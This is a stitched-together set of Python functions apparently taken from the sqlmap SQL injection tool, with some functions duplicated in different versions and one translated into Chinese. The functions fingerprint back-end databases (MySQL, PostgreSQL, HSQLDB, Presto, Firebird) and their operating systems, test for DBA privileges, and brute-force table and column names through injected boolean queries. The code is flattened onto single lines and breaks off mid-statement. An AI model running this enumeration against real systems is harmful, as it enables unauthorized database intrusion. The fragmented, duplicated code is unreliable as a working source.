def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression( "'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs( ) logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True)
def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)", )), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), ( "2.5", ("'%s' SIMILAR TO '%s'", ) ), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ( "3.0", ("FALSE IS FALSE", ) ), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange( 0, len(checks) - 1)].replace("%d", getUnicode(randomRange( 1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal
def __getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randInt = randomInt() randStr = randomStr() _ = inject.checkBooleanExpression( "EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" % (randStr, randStr, randInt, randInt)) if wasLastRequestDBMSError(): threadData = getCurrentThreadData() match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal
def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) query = None if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() if Backend.isFork(FORK.DRIZZLE): kb.data.isDba = "root" in (kb.data.currentUser or "") elif kb.data.currentUser: query = queries[Backend.getIdentifiedDbms( )].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query if query: query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba
def columnExistsThread(): while count[0] < length and kb.threadContinue: collock.acquire() column = safeSQLIdentificatorNaming(columns[count[0]]) count[0] += 1 collock.release() result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table))) iolock.acquire() if result: retVal.append(column) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release()
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion( ) and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # http://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0, )), "8.1 or 2012 R2": ("6.3", (0, )) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def tableExists(tableFile, regex=None): if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.tableExistsChoice = readInput(message, default='N', boolean=True) if not kb.tableExistsChoice: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.value = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no table(s) found" logger.warn(warnMsg) else: for item in threadData.shared.value: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.value): if _ not in kb.brute.tables: kb.brute.tables.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables
def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common columns (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % columnFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common columns file location?\n" columnFile = readInput(message) or columnFile infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in list(columns.items())): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) if result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) return False
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): setDbms(DBMS.PRESTO) self.getBanner() return True infoMsg = "testing %s" % DBMS.PRESTO logger.info(infoMsg) result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PRESTO logger.info(infoMsg) result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO logger.warn(warnMsg) return False setDbms(DBMS.PRESTO) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PRESTO logger.info(infoMsg) # Reference: https://prestodb.io/docs/current/release/release-0.200.html if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): Backend.setVersion(">= 0.200") # Reference: https://prestodb.io/docs/current/release/release-0.193.html elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): Backend.setVersion(">= 0.193") # Reference: https://prestodb.io/docs/current/release/release-0.183.html elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): Backend.setVersion(">= 0.183") # Reference: https://prestodb.io/docs/current/release/release-0.171.html elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): Backend.setVersion(">= 0.171") # Reference: https://prestodb.io/docs/current/release/release-0.162.html elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): Backend.setVersion(">= 0.162") # Reference: https://prestodb.io/docs/current/release/release-0.151.html elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.151") # Reference: https://prestodb.io/docs/current/release/release-0.143.html elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): Backend.setVersion(">= 0.143") # Reference: https://prestodb.io/docs/current/release/release-0.137.html elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.137") # Reference: https://prestodb.io/docs/current/release/release-0.130.html elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.130") # Reference: https://prestodb.io/docs/current/release/release-0.115.html elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): Backend.setVersion(">= 0.115") # Reference: https://prestodb.io/docs/current/release/release-0.100.html elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.100") # Reference: https://prestodb.io/docs/current/release/release-0.70.html elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.70") else: Backend.setVersion("< 0.100") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO logger.warn(warnMsg) return False
def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any( _ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = u"不建议使用'%s'和'%s'" % ( PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += u"进行常用的字段的存在性检查" logger.warn(warnMsg) message = u"你确定你要继续吗? [y/N] " kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = u"缺少表参数" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = u"因为检测到的结果无效,所以无法对列的存在性进行检查," errMsg += u"(很可能是由于使用的注入无法区分错误结果)。" raise SqlmapDataException(errMsg) message = u"您要使用哪些常用字段(wordlist)文件?\n" message += u"[1] 默认 '%s' (按回车)\n" % columnFile message += u"[2] 自定义" choice = readInput(message, default='1') if choice == '2': message = u"自定义的常用字段文件位置在哪里?\n" columnFile = readInput(message) or columnFile infoMsg = u"使用%s文件检查字段是否存在" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming( columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = u"用户在检查字段存在性期间中止,sqlmap将只显示部分输出" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = u"找不到字段" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): result = not inject.checkBooleanExpression( "%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression( "ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],0))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression( "@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)" ): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression( "@@character_set_filesystem=@@character_set_filesystem" ): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])" ): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression( "@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression( "@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression( "STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression( "3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression( "2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression( "CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression( "'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * https://www.postgresql.org/docs/current/static/release.html """ if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() result = inject.checkBooleanExpression( "CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression( "COALESCE([RANDNUM], NULL)=[RANDNUM]") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False setDbms(DBMS.PGSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) if inject.checkBooleanExpression("SINH(0)=0"): Backend.setVersion(">= 12.0") elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): Backend.setVersion(">= 11.0") elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) elif inject.checkBooleanExpression( "ARRAY_REPLACE(NULL,1,1) IS NULL"): Backend.setVersionList([">= 9.3.0", "< 9.4.0"]) elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"): Backend.setVersionList([">= 9.2.0", "< 9.3.0"]) elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): Backend.setVersionList([">= 9.1.0", "< 9.2.0"]) elif 